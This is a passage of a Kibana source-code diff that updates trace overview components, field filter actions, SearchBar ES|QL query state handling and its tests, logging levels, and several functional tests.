b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.ts index 258b78ef6bc19..a57471da056d0 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.ts +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.ts @@ -7,17 +7,19 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { DataTableRecord, OTEL_SPAN_KIND, PROCESSOR_EVENT_FIELD } from '@kbn/discover-utils'; +import { DataTableRecord, PROCESSOR_EVENT_FIELD } from '@kbn/discover-utils'; +import { getFlattenedFields } from '@kbn/discover-utils/src/utils/get_flattened_fields'; export const isSpanHit = (hit: DataTableRecord | null): boolean => { if (!hit?.flattened) { return false; } - const processorEvent = hit.flattened[PROCESSOR_EVENT_FIELD]; - const spanKind = hit.flattened[OTEL_SPAN_KIND]; + const processorEvent = getFlattenedFields<{ [PROCESSOR_EVENT_FIELD]: string }>(hit, [ + PROCESSOR_EVENT_FIELD, + ])[PROCESSOR_EVENT_FIELD]; - const isOtelSpan = spanKind != null || processorEvent == null; + const isOtelSpan = processorEvent == null; const isApmSpan = processorEvent === 'span'; return isApmSpan || isOtelSpan; diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/service_name_link.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/service_name_link.tsx index c38b43c4e3507..f5e1b10aabbed 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/service_name_link.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/service_name_link.tsx @@ -83,7 +83,7 @@ export function ServiceNameLink({ {content} ) : ( - serviceName + content )} ); diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace.tsx index 0e94523e24309..675a204a65632 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace.tsx @@ -12,6 +12,7 @@ import { EmbeddableRenderer } from '@kbn/embeddable-plugin/public'; import { EuiFlexGroup, EuiFlexItem, EuiSpacer, EuiTitle, EuiButtonIcon } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; import { DocViewRenderProps } from '@kbn/unified-doc-viewer/types'; +import { DataViewField } from '@kbn/data-views-plugin/common'; import { spanTraceFields } from '../doc_viewer_span_overview/resources/fields'; import { transactionTraceFields } from '../doc_viewer_transaction_overview/resources/fields'; import { SpanSummaryField } from '../doc_viewer_span_overview/sub_components/span_summary_field'; @@ -22,6 +23,7 @@ import { FullScreenWaterfall } from './full_screen_waterfall'; export interface TraceProps { fields: Record; + fieldMappings: Record; traceId: string; displayType: 'span' | 'transaction'; docId: string; @@ -34,6 +36,7 @@ export interface TraceProps { export const Trace = ({ traceId, fields, + fieldMappings, displayType, docId, dataView, @@ -67,6 +70,7 @@ export const Trace = ({ key={fieldId} fieldId={fieldId} fieldConfiguration={fields[fieldId]} + fieldMapping={fieldMappings[fieldId]} showActions={showActions} /> )) @@ -75,6 +79,7 @@ export const Trace = ({ key={fieldId} fieldId={fieldId} fieldConfiguration={fields[fieldId]} + fieldMapping={fieldMappings[fieldId]} showActions={showActions} /> )); diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace_id_link.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace_id_link.tsx index ae5f20ac60190..c5d0f641b5c38 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace_id_link.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/trace_id_link.tsx @@ -8,7 +8,7 @@ */ import React from 'react'; -import { EuiLink } from '@elastic/eui'; +import { EuiLink, EuiText } from '@elastic/eui'; import { getRouterLinkProps } from '@kbn/router-utils'; import { TRANSACTION_DETAILS_BY_TRACE_ID_LOCATOR } from '@kbn/deeplinks-observability'; import { getUnifiedDocViewerServices } from '../../../../plugin'; @@ -63,7 +63,7 @@ export function TraceIdLink({ traceId, formattedTraceId }: TraceIdLinkProps) { {formattedTraceId} ) : ( - traceId + {traceId} )} ); diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/resources/fields.ts b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/resources/fields.ts index b5acb4d26713f..ac7da97b750cc 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/resources/fields.ts +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/resources/fields.ts @@ -28,3 +28,5 @@ export const spanFields = [ ]; export const spanTraceFields = [TRACE_ID_FIELD, TRANSACTION_NAME_FIELD]; + +export const allSpanFields = [...spanFields, ...spanTraceFields]; diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/span_overview.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/span_overview.tsx index d99cccfba7f8c..83935dc07b7b6 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/span_overview.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/span_overview.tsx @@ -22,10 +22,11 @@ import { getFlattenedSpanDocumentOverview } from '@kbn/discover-utils/src'; import { DocViewRenderProps } from '@kbn/unified-doc-viewer/types'; import React, { useMemo } from 'react'; import { FieldActionsProvider } from '../../../../hooks/use_field_actions'; +import { useDataViewFields } from '../../../../hooks/use_data_view_fields'; import { getUnifiedDocViewerServices } from '../../../../plugin'; import { Trace } from '../components/trace'; import { RootSpanProvider } from './hooks/use_root_span'; -import { spanFields } from './resources/fields'; +import { spanFields, allSpanFields } from './resources/fields'; import { getSpanFieldConfiguration } from './resources/get_span_field_configuration'; import { SpanDurationSummary } from './sub_components/span_duration_summary'; import { SpanSummaryField } from './sub_components/span_summary_field'; @@ -55,6 +56,7 @@ export function SpanOverview({ showWaterfall = true, showActions = true, dataView, + columnsMeta, }: SpanOverviewProps) { const { fieldFormats } = getUnifiedDocViewerServices(); const { formattedDoc, flattenedDoc } = useMemo( @@ -64,6 +66,7 @@ export function SpanOverview({ }), [dataView, fieldFormats, hit] ); + const { dataViewFields } = useDataViewFields({ fields: allSpanFields, dataView, columnsMeta }); const fieldConfigurations = useMemo( () => getSpanFieldConfiguration({ attributes: formattedDoc, flattenedDoc }), [formattedDoc, flattenedDoc] @@ -110,6 +113,7 @@ export function SpanOverview({ @@ -130,6 +134,7 @@ export function SpanOverview({ ) : ( - dependencyName + content ); } diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/sub_components/span_summary_field.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/sub_components/span_summary_field.tsx index 497b4921f1333..90d59dbe8382d 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/sub_components/span_summary_field.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_span_overview/sub_components/span_summary_field.tsx @@ -9,6 +9,7 @@ import { TRANSACTION_NAME_FIELD } from '@kbn/discover-utils'; import { EuiHorizontalRule } from '@elastic/eui'; +import type { DataViewField } from '@kbn/data-views-plugin/common'; import React, { useState, useEffect } from 'react'; import { FieldWithActions } from '../../components/field_with_actions/field_with_actions'; import { useRootSpanContext } from '../hooks/use_root_span'; @@ -16,12 +17,14 @@ import { FieldConfiguration } from '../../resources/get_field_configuration'; export interface SpanSummaryFieldProps { fieldId: string; fieldConfiguration: FieldConfiguration; + fieldMapping?: DataViewField; showActions?: boolean; } export function SpanSummaryField({ fieldConfiguration, fieldId, + fieldMapping, showActions = true, }: SpanSummaryFieldProps) { const { trace, loading } = useRootSpanContext(); @@ -50,6 +53,7 @@ export function SpanSummaryField({ field={fieldId} value={fieldValue as string} formattedValue={fieldValue as string} + fieldMapping={fieldMapping} fieldMetadata={fieldConfiguration.fieldMetadata} loading={isTransactionNameFieldWithoutValue && loading} showActions={showActions} diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/resources/fields.ts b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/resources/fields.ts index ffb3adbb47439..6ab4efe7513e5 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/resources/fields.ts +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/resources/fields.ts @@ -25,3 +25,5 @@ export const transactionFields = [ ]; export const transactionTraceFields = [TRACE_ID_FIELD]; + +export const allTransactionFields = [...transactionFields, ...transactionTraceFields]; diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/sub_components/transaction_summary_field.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/sub_components/transaction_summary_field.tsx index bc7c1fa59c444..d8cc79ac8378d 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/sub_components/transaction_summary_field.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/sub_components/transaction_summary_field.tsx @@ -9,18 +9,21 @@ import { EuiHorizontalRule } from '@elastic/eui'; import React from 'react'; +import { DataViewField } from '@kbn/data-views-plugin/common'; import { FieldConfiguration } from '../../resources/get_field_configuration'; import { FieldWithActions } from '../../components/field_with_actions/field_with_actions'; export interface TransactionSummaryFieldProps { fieldId: string; fieldConfiguration: FieldConfiguration; + fieldMapping?: DataViewField; showActions?: boolean; } export function TransactionSummaryField({ fieldConfiguration, fieldId, + fieldMapping, showActions = true, }: TransactionSummaryFieldProps) { if (!fieldConfiguration.value) { @@ -33,6 +36,7 @@ export function TransactionSummaryField({ data-test-subj={`unifiedDocViewerObservabilityTracesAttribute-${fieldId}`} label={fieldConfiguration.title} field={fieldId} + fieldMapping={fieldMapping} value={fieldConfiguration.value as string} formattedValue={fieldConfiguration.value as string} fieldMetadata={fieldConfiguration.fieldMetadata} diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/transaction_overview.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/transaction_overview.tsx index 4bb4373b217eb..629d7e61e7155 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/transaction_overview.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/doc_viewer_transaction_overview/transaction_overview.tsx @@ -20,8 +20,9 @@ import { TRANSACTION_ID_FIELD, } from '@kbn/discover-utils'; import { getFlattenedTransactionDocumentOverview } from '@kbn/discover-utils/src'; +import { useDataViewFields } from '../../../../hooks/use_data_view_fields'; import { FieldActionsProvider } from '../../../../hooks/use_field_actions'; -import { transactionFields } from './resources/fields'; +import { transactionFields, allTransactionFields } from './resources/fields'; import { getTransactionFieldConfiguration } from './resources/get_transaction_field_configuration'; import { TransactionSummaryField } from './sub_components/transaction_summary_field'; import { TransactionDurationSummary } from './sub_components/transaction_duration_summary'; @@ -53,6 +54,7 @@ export function TransactionOverview({ showWaterfall = true, showActions = true, dataView, + columnsMeta, }: TransactionOverviewProps) { const { fieldFormats } = getUnifiedDocViewerServices(); const { formattedDoc, flattenedDoc } = useMemo( @@ -62,7 +64,11 @@ export function TransactionOverview({ }), [dataView, fieldFormats, hit] ); - + const { dataViewFields } = useDataViewFields({ + fields: allTransactionFields, + dataView, + columnsMeta, + }); const transactionDuration = flattenedDoc[TRANSACTION_DURATION_FIELD]; const fieldConfigurations = useMemo( () => getTransactionFieldConfiguration({ attributes: formattedDoc, flattenedDoc }), @@ -98,6 +104,7 @@ export function TransactionOverview({ @@ -117,6 +124,7 @@ export function TransactionOverview({ {traceId && transactionId && ( } => { + const dataViewFields = useMemo( + () => + fields.reduce((acc, fieldName) => { + acc[fieldName] = getDataViewFieldOrCreateFromColumnMeta({ + fieldName, + dataView, + columnMeta: columnsMeta?.[fieldName], + }); + + return acc; + }, {} as Record), + [fields, dataView, columnsMeta] + ); + + return { dataViewFields }; +}; diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/hooks/use_field_actions.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/hooks/use_field_actions.tsx index b49ee6e5f9278..ff785f80a609c 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/hooks/use_field_actions.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/hooks/use_field_actions.tsx @@ -12,9 +12,11 @@ import createContainer from 'constate'; import { copyToClipboard, IconType } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; import { DocViewRenderProps } from '@kbn/unified-doc-viewer/types'; +import { FieldMapping } from '@kbn/unified-doc-viewer/src/services/types'; interface WithFieldParam { field: string; + mapping?: FieldMapping; } interface WithValueParam { @@ -45,8 +47,10 @@ const useFieldActions = ({ columns, filter, onAddColumn, onRemoveColumn }: UseFi () => ({ addColumn: onAddColumn, addFilterExist: ({ field }: WithFieldParam) => filter && filter('_exists_', field, '+'), - addFilterIn: ({ field, value }: TFieldActionParams) => filter && filter(field, value, '+'), - addFilterOut: ({ field, value }: TFieldActionParams) => filter && filter(field, value, '-'), + addFilterIn: ({ field, value, mapping }: TFieldActionParams) => + filter && filter(mapping ?? field, value, '+'), + addFilterOut: ({ field, value, mapping }: TFieldActionParams) => + filter && filter(mapping ?? field, value, '-'), copyToClipboard, removeColumn: onRemoveColumn, toggleFieldColumn: ({ field }: WithFieldParam) => { @@ -71,6 +75,7 @@ export const [FieldActionsProvider, useFieldActionsContext] = createContainer(us export const useUIFieldActions = ({ field, value, + mapping, formattedValue, }: TFieldActionParams): TFieldAction[] => { const actions = useFieldActionsContext(); @@ -81,13 +86,13 @@ export const useUIFieldActions = ({ id: 'addFilterInAction', iconType: 'plusInCircle', label: filterForValueLabel, - onClick: () => actions.addFilterIn({ field, value }), + onClick: () => actions.addFilterIn({ field, value, mapping }), }, { id: 'addFilterOutremoveFromFilterAction', iconType: 'minusInCircle', label: filterOutValueLabel, - onClick: () => actions.addFilterOut({ field, value }), + onClick: () => actions.addFilterOut({ field, value, mapping }), }, { id: 'addFilterExistAction', @@ -108,7 +113,7 @@ export const useUIFieldActions = ({ onClick: () => actions.copyToClipboard(formattedValue ?? (value as string)), }, ], - [actions, field, formattedValue, value] + [actions, field, mapping, formattedValue, value] ); }; diff --git a/src/platform/plugins/shared/unified_search/public/dataview_picker/change_dataview.styles.ts b/src/platform/plugins/shared/unified_search/public/dataview_picker/change_dataview.styles.ts index b2582790bc300..dd58b8e966fca 100644 --- a/src/platform/plugins/shared/unified_search/public/dataview_picker/change_dataview.styles.ts +++ b/src/platform/plugins/shared/unified_search/public/dataview_picker/change_dataview.styles.ts @@ -11,8 +11,7 @@ import type { EuiThemeComputed } from '@elastic/eui'; import { calculateWidthFromEntries } from '@kbn/calculate-width-from-char-count'; import { DataViewListItemEnhanced } from './dataview_list'; -const MIN_WIDTH = 300; -const MAX_MOBILE_WIDTH = 350; +const DEFAULT_WIDTH = 350; export const changeDataViewStyles = ({ fullWidth, @@ -27,7 +26,7 @@ export const changeDataViewStyles = ({ }) => { return { trigger: { - maxWidth: fullWidth ? undefined : MIN_WIDTH, + maxWidth: fullWidth ? undefined : DEFAULT_WIDTH, backgroundColor: theme.colors.backgroundBasePlain, border: `${theme.border.width.thin} solid ${theme.colors.borderBasePlain}`, borderTopLeftRadius: 0, @@ -35,8 +34,8 @@ export const changeDataViewStyles = ({ }, popoverContent: { width: calculateWidthFromEntries(dataViewsList, ['name', 'id'], { - minWidth: MIN_WIDTH, - ...(isMobile && { maxWidth: MAX_MOBILE_WIDTH }), + minWidth: DEFAULT_WIDTH, + ...(isMobile && { maxWidth: DEFAULT_WIDTH }), }), }, }; diff --git a/src/platform/plugins/shared/unified_search/public/query_string_input/query_bar_top_row.tsx b/src/platform/plugins/shared/unified_search/public/query_string_input/query_bar_top_row.tsx index 2121e41a6e8bb..c88701ea75e98 100644 --- a/src/platform/plugins/shared/unified_search/public/query_string_input/query_bar_top_row.tsx +++ b/src/platform/plugins/shared/unified_search/public/query_string_input/query_bar_top_row.tsx @@ -745,6 +745,7 @@ export const QueryBarTopRow = React.memo( errors={props.textBasedLanguageModeErrors} warning={props.textBasedLanguageModeWarning} detectedTimestamp={detectedTimestamp} + expandToFitQueryOnMount onTextLangQuerySubmit={async () => onSubmit({ query: queryRef.current, diff --git a/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.test.tsx b/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.test.tsx index f35388da324f7..6cda8cb934dd6 100644 --- a/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.test.tsx +++ b/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.test.tsx @@ -8,7 +8,7 @@ */ import React from 'react'; -import SearchBar from './search_bar'; +import SearchBar, { SearchBarProps, SearchBarState, SearchBarUI } from './search_bar'; import { BehaviorSubject } from 'rxjs'; import { KibanaContextProvider } from '@kbn/kibana-react-plugin/public'; import { indexPatternEditorPluginMock as dataViewEditorPluginMock } from '@kbn/data-view-editor-plugin/public/mocks'; @@ -366,4 +366,48 @@ describe('SearchBar', () => { true ); }); + + describe('SearchBarUI.getDerivedStateFromProps', () => { + it('should not return the esql query if props.query doesnt change but loading state changes', () => { + const nextProps = { + query: { esql: 'test' }, + isLoading: false, + } as unknown as SearchBarProps; + const prevState = { + currentProps: { + query: { esql: 'test' }, + }, + query: { esql: 'test_edited' }, + isLoading: true, + } as unknown as SearchBarState; + + const result = SearchBarUI.getDerivedStateFromProps(nextProps, prevState); + // if the query was returned, it would overwrite the state in the underlying ES|QL editor + expect(result).toEqual({ + currentProps: { isLoading: false, query: { esql: 'test' } }, + }); + }); + it('should return the query if props.query and loading state changes', () => { + const nextProps = { + query: { esql: 'test_new_props' }, + isLoading: false, + } as unknown as SearchBarProps; + const prevState = { + currentProps: { + query: { esql: 'test' }, + }, + query: { esql: 'test_edited' }, + isLoading: true, + } as unknown as SearchBarState; + + const result = SearchBarUI.getDerivedStateFromProps(nextProps, prevState); + // here it makes sense to return the query, because the props.query has changed + expect(result).toEqual({ + currentProps: { isLoading: false, query: { esql: 'test_new_props' } }, + query: { + esql: 'test_new_props', + }, + }); + }); + }); }); diff --git a/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.tsx b/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.tsx index 9a27b0d02e0cf..0e63835151a68 100644 --- a/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.tsx +++ b/src/platform/plugins/shared/unified_search/public/search_bar/search_bar.tsx @@ -147,7 +147,7 @@ export interface SearchBarOwnProps { export type SearchBarProps = SearchBarOwnProps & SearchBarInjectedDeps; -interface State { +export interface SearchBarState { isFiltersVisible: boolean; openQueryBarMenu: boolean; showSavedQueryPopover: boolean; @@ -157,9 +157,9 @@ interface State { dateRangeTo: string; } -class SearchBarUI extends Component< +export class SearchBarUI extends Component< SearchBarProps & WithEuiThemeProps, - State + SearchBarState > { public static defaultProps = { showQueryMenu: true, @@ -177,7 +177,7 @@ class SearchBarUI extends C public static getDerivedStateFromProps( nextProps: SearchBarProps, - prevState: State + prevState: SearchBarState ) { if (isEqual(prevState.currentProps, nextProps)) { return null; @@ -204,7 +204,13 @@ class SearchBarUI extends C query: '', language: nextProps.query.language, }; - } else if (nextProps.query && !isOfQueryType(nextProps.query)) { + } else if ( + nextProps.query && + isOfAggregateQueryType(nextProps.query) && + nextProps.query.esql !== get(prevState, 'currentProps.query.esql') + ) { + // this code is just overriding the query with a new one in case the query has changed in props + // without the props check it would override any edits to the query, if e.g. results were returned and isLoading switches from true to false nextQuery = nextProps.query; } @@ -248,14 +254,9 @@ class SearchBarUI extends C /* Keep the "draft" value in local state until the user actually submits the query. There are a couple advantages: - 1. Each app doesn't have to maintain its own "draft" value if it wants to put off updating the query in app state - until the user manually submits their changes. Most apps have watches on the query value in app state so we don't - want to trigger those on every keypress. Also, some apps (e.g. dashboard) already juggle multiple query values, - each with slightly different semantics and I'd rather not add yet another variable to the mix. - - 2. Changes to the local component state won't trigger an Angular digest cycle. Triggering digest cycles on every - keypress has been a major source of performance issues for us in previous implementations of the query bar. - See https://github.com/elastic/kibana/issues/14086 + Each app doesn't have to maintain its own "draft" value if it wants to put off updating the query in app state + until the user manually submits their changes. Some apps have watches on the query value in app state so we don't + want to trigger those on every keypress. */ public state = { isFiltersVisible: true, @@ -265,7 +266,7 @@ class SearchBarUI extends C query: this.props.query ? { ...this.props.query } : undefined, dateRangeFrom: get(this.props, 'dateRangeFrom', 'now-15m'), dateRangeTo: get(this.props, 'dateRangeTo', 'now'), - } as State; + } as SearchBarState; public isDirty = () => { if (!this.props.showDatePicker && this.state.query && this.props.query) { diff --git a/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.test.ts b/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.test.ts index 9165ab98e5d4d..6037ee36c9482 100644 --- a/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.test.ts +++ b/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.test.ts @@ -230,12 +230,12 @@ describe('UsageCountersService', () => { // number of incrementCounter calls + number of retries expect(mockIncrementCounter).toBeCalledTimes(2 + retryConst); // assert counterA increment error warning logs - expect(logger.warn).toHaveBeenNthCalledWith( + expect(logger.debug).toHaveBeenNthCalledWith( 2, `${mockError}, retrying attempt ${retryConst}` ); - expect(logger.warn).toHaveBeenNthCalledWith(3, mockError); - expect(logger.debug).toHaveBeenNthCalledWith(1, 'Store counters into savedObjects', { + expect(logger.warn).toHaveBeenNthCalledWith(1, mockError); + expect(logger.debug).toHaveBeenNthCalledWith(3, 'Store counters into savedObjects', { kibana: { usageCounters: { results: [mockError, 'pass'], diff --git a/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.ts b/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.ts index f8aeec05f9624..5f343c354729a 100644 --- a/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.ts +++ b/src/platform/plugins/shared/usage_collection/server/usage_counters/usage_counters_service.ts @@ -173,7 +173,7 @@ export class UsageCountersService { Rx.retry({ count: this.retryCount, delay: (error, retryIndex) => { - this.logger.warn(`Error: ${error.message}, retrying attempt ${retryIndex}`); // extra warning logger + this.logger.debug(`Error: ${error.message}, retrying attempt ${retryIndex}`); // extra warning logger return Rx.timer(this.backoffDelay(retryIndex)); }, }), diff --git a/src/platform/test/functional/apps/dashboard/group6/embeddable_library.ts b/src/platform/test/functional/apps/dashboard/group6/embeddable_library.ts deleted file mode 100644 index 9f885bde7e04e..0000000000000 --- a/src/platform/test/functional/apps/dashboard/group6/embeddable_library.ts +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -import { FtrProviderContext } from '../../../ftr_provider_context'; - -export default function ({ getService, getPageObjects }: FtrProviderContext) { - const { dashboard } = getPageObjects(['dashboard']); - const find = getService('find'); - const kibanaServer = getService('kibanaServer'); - const dashboardAddPanel = getService('dashboardAddPanel'); - const panelActions = getService('dashboardPanelActions'); - const savedObjectsFinder = getService('savedObjectsFinder'); - const title = 'Rendering Test: heatmap'; - - describe('embeddable library', () => { - before(async () => { - await kibanaServer.savedObjects.cleanStandardList(); - await kibanaServer.importExport.load( - 'src/platform/test/functional/fixtures/kbn_archiver/dashboard/current/kibana' - ); - await kibanaServer.uiSettings.replace({ - defaultIndex: '0bf35f60-3dc9-11e8-8660-4d65aa086b3c', - }); - await dashboard.navigateToApp(); - await dashboard.preserveCrossAppState(); - await dashboard.clickNewDashboard(); - }); - - it('unlink visualize panel from embeddable library', async () => { - // add heatmap panel from library - await dashboardAddPanel.clickOpenAddPanel(); - await savedObjectsFinder.filterEmbeddableNames(title); - await find.clickByButtonText(title); - await dashboardAddPanel.closeAddPanel(); - - await panelActions.unlinkFromLibrary(title); - await panelActions.expectNotLinkedToLibrary(title); - - await dashboardAddPanel.clickOpenAddPanel(); - await savedObjectsFinder.filterEmbeddableNames(title); - await find.existsByLinkText(title); - await dashboardAddPanel.closeAddPanel(); - }); - - it('save visualize panel to embeddable library', async () => { - const newTitle = 'Rendering Test: heatmap - copy'; - await panelActions.saveToLibrary(newTitle, title); - await panelActions.expectLinkedToLibrary(newTitle); - }); - }); -} diff --git a/src/platform/test/functional/apps/dashboard/group6/index.ts b/src/platform/test/functional/apps/dashboard/group6/index.ts index 9b72b632b9dab..22f0b9323f6e5 100644 --- a/src/platform/test/functional/apps/dashboard/group6/index.ts +++ b/src/platform/test/functional/apps/dashboard/group6/index.ts @@ -41,7 +41,6 @@ export default function ({ getService, loadTestFile }: FtrProviderContext) { // The dashboard_snapshot test below requires the timestamped URL which breaks the view_edit test. // If we don't use the timestamp in the URL, the colors in the charts will be different. loadTestFile(require.resolve('./dashboard_snapshots')); - loadTestFile(require.resolve('./embeddable_library')); loadTestFile(require.resolve('./dashboard_esql_chart')); loadTestFile(require.resolve('./dashboard_esql_no_data')); }); diff --git a/src/platform/test/functional/apps/dashboard_elements/input_control_vis/input_control_options.ts b/src/platform/test/functional/apps/dashboard_elements/input_control_vis/input_control_options.ts index 675f386eea34a..79bb09591c8e4 100644 --- a/src/platform/test/functional/apps/dashboard_elements/input_control_vis/input_control_options.ts +++ b/src/platform/test/functional/apps/dashboard_elements/input_control_vis/input_control_options.ts @@ -23,6 +23,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { const inspector = getService('inspector'); const find = getService('find'); const comboBox = getService('comboBox'); + const retry = getService('retry'); const FIELD_NAME = 'machine.os.raw'; describe('input control options', () => { @@ -82,6 +83,9 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { it('should replace existing filter pill(s) when new item is selected', async () => { await comboBox.clear('listControlSelect0'); + await retry.waitFor('input control is clear', async () => { + return (await comboBox.doesComboBoxHaveSelectedOptions('listControlSelect0')) === false; + }); await comboBox.set('listControlSelect0', 'osx'); await visEditor.inputControlSubmit(); await common.sleep(1000); diff --git a/src/platform/test/functional/apps/discover/group4/_field_list_new_fields.ts b/src/platform/test/functional/apps/discover/group4/_field_list_new_fields.ts index deaf280537cee..a28e4aecbeded 100644 --- a/src/platform/test/functional/apps/discover/group4/_field_list_new_fields.ts +++ b/src/platform/test/functional/apps/discover/group4/_field_list_new_fields.ts @@ -90,7 +90,10 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { await retry.waitFor('the new record was found', async () => { await queryBar.submitQuery(); await unifiedFieldList.waitUntilSidebarHasLoaded(); - return (await discover.getHitCountInt()) === 2; + return ( + (await discover.getHitCountInt()) === 2 && + (await unifiedFieldList.getSidebarSectionFieldNames('available')).length === 3 + ); }); expect(await unifiedFieldList.getSidebarSectionFieldNames('available')).to.eql([ diff --git a/src/platform/test/functional/apps/discover/group9/_doc_viewer.ts b/src/platform/test/functional/apps/discover/group9/_doc_viewer.ts index 76e64025436ba..0698437fb227c 100644 --- a/src/platform/test/functional/apps/discover/group9/_doc_viewer.ts +++ b/src/platform/test/functional/apps/discover/group9/_doc_viewer.ts @@ -518,6 +518,17 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { await testSubjects.existOrFail(`docViewerFlyoutNavigationPage-1`); }); + it('should not navigate between documents with arrow keys when resizable button is focused', async () => { + await dataGrid.clickRowToggle({ defaultTabId: false }); + await discover.isShowingDocViewer(); + await testSubjects.existOrFail(`docViewerFlyoutNavigationPage-0`); + await browser.pressKeys(browser.keys.ARROW_RIGHT); + await testSubjects.existOrFail(`docViewerFlyoutNavigationPage-1`); + await testSubjects.click('euiResizableButton'); + await browser.pressKeys(browser.keys.ARROW_RIGHT); + await testSubjects.existOrFail(`docViewerFlyoutNavigationPage-1`); + }); + it('should close the flyout with the escape key', async () => { await dataGrid.clickRowToggle({ defaultTabId: false }); expect(await discover.isShowingDocViewer()).to.be(true); diff --git a/src/platform/test/functional/page_objects/dashboard_page.ts b/src/platform/test/functional/page_objects/dashboard_page.ts index 4fea44454cd74..9aac12461f7b6 100644 --- a/src/platform/test/functional/page_objects/dashboard_page.ts +++ b/src/platform/test/functional/page_objects/dashboard_page.ts @@ -199,7 +199,8 @@ export class DashboardPageObject extends FtrService { */ public async onDashboardLandingPage() { this.log.debug(`onDashboardLandingPage`); - return await this.listingTable.onListingPage('dashboard'); + const currentUrl = await this.browser.getCurrentUrl(); + return currentUrl.includes('dashboards#/list'); } public async expectExistsDashboardLandingPage() { @@ -244,6 +245,8 @@ export class DashboardPageObject extends FtrService { if (dashboardNameOverride) { this.log.debug('entering dashboard duplicate override title'); + // Wait for the title input to be enabled before setting the value to avoid flakiness + await this.testSubjects.waitForEnabled('savedObjectTitle'); await this.testSubjects.setValue('savedObjectTitle', dashboardNameOverride); 